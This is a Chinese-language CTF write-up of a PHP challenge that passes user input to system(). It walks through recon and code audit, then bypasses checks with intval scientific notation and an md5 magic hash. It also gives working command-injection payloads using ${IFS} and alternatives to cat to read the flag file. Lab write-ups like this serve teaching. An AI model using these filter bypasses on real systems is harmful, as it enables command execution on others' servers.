做题:
打开题目
我们用dirsearch扫描一下看看
扫描到有robots.txt,访问一下看看
提示我们 /fAke_f1agggg.php
那就访问一下,不是真的flag
bp抓包一下
得到提示, /fl4g.php,访问一下看看
按alt,点击修复文字编码
就可以看到正常的代码了
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
代码审计
leve1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
- 首先检查是否设置了
$_GET['num']
,即是否有名为num
的GET参数传递给脚本。 - 如果存在
num
参数,将其赋值给变量$num
。 - 使用
intval()
函数将$num
转换为整数,并执行两个条件检查:- 如果
$num
的整数值小于2020,并且$num
加1的整数值大于2021,则输出一条消息。 - 否则,输出一条不同的消息。
- 如果
- 如果不存在
num
参数,则输出消息"去非洲吧"
level2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
- 如果
md5
参数存在于 GET 请求中,则将其赋值给$md5
变量。 - 接着,它检查
$md5
是否等于其自身的 MD5 哈希值。 - 如果相等,则输出一段文本,描述了一个人在拿到某个标志后的行为。
- 如果不相等,则输出另一段文本。
- 如果
md5
参数不存在于 GET 请求中,则输出一段提示文本。
get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
isset($_GET['get_flag'])
检查是否存在名为get_flag
的 GET 参数。- 如果参数存在,则将其值赋给
$get_flag
变量。 - 然后,代码使用
strstr()
函数检查$get_flag
中是否包含空格,如果不包含空格,则继续执行。 - 如果
$get_flag
中不包含空格,则使用str_ireplace()
函数将其中的 "cat" 替换为 "wctf2020"。 - 接着,代码调用
system()
函数执行$get_flag
中的命令。 - 如果
$get_flag
中包含空格,则直接输出错误消息 "快到非洲了"。
第一个
我们要让num参数的值小于2020,但是加1的值大于2021,这里涉及到intval函数的科学计数法绕过,我们让num=2e4
第二个
要求本身和md5值相同,我们直接用md5=0e215962017
第三个
要绕过cat和空格的过滤
代替cat: more、less、head、tail、sort、ca\t
代替空格:$IFS、${IFS}、$IFS$1、$IFS$9
所以我们先用 ls 命令
/fl4g.php?num=2e4&md5=0e215962017&get_flag=ls
/fl4g.php?num=2e4&md5=0e215962017&get_flag=more${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
得到flag
总结:
知识点:
isset函数
isset() 函数可以检测「变量是否存在」并非NULL。常用来判断变量是否被定义
intval函数
intval() 函数用于获取变量的整数值
语法
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
- $var:要转换成 integer 的数量值。
- $base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
- 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
- 将使用 10 进制
看实例
<?php
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(0x1A); // 26
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
?>
(实例后面几个我也不是很懂,看了chat8的解释也不是很理解,就暂时在这里存个疑问?)
intval函数之科学技术法绕过
intval函数遇到科学计数法(只适用php7.0以下的版本)
当函数中用字符串
方式表示科学计数法时,函数的返回值是科学计数法前面的一个数
而对于科学计数法加数字则会返回科学计数法的数值
<?php
echo intval("2e5"+1); //200001
echo intval(2e5+1); //200001
echo intval("2e5"); //2
echo intval(2e5); //20000
?>
应用场景:
if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024)
strstr函数
strstr() 函数搜索一个字符串在另一个字符串中的第一次出现,找到所搜索的字符串,则该函数返回第一次匹配的字符串的地址
区分大小写
语法
char *strstr(char *str1, const char *str2); //返回值为字符型指针
str1: 被查找目标
str2: 要查找对象
stristr函数
这个函数其实和strstr函数的功能差不多,差别就在查找的时候返回的是剩余的字符串且不区分大小写
实例
str_ireplace函数
相当于一个查找,然后替换的函数
实例
把字符串 "Hello world!" 中的字符 "WORLD"(不区分大小写)替换成 "hhh":
知识点源于:
https://www.cnblogs.com/-chenxs/p/11978488.html#:~:text=%E5%81%87%E8%AE%BE%E8%BF%87%E6%BB%A4%E4%BA%86cat%201.%E5%88%A9%E7%94%A8%E5%8F%98%E9%87%8F%E7%BB%95%E8%BF%87%EF%BC%9A,ac%3Bb%3Dat%3B%24a%24b%202.%E5%88%A9%E7%94%A8base%E7%BC%96%E7%A0%81%E7%BB%95%E8%BF%87
intval()函数绕过_intval($_get['lover'] + 1) > 2024)-CSDN博客
PHP str_ireplace() 函数
strstr()函数的使用说明(C语言)_strstr()-CSDN博客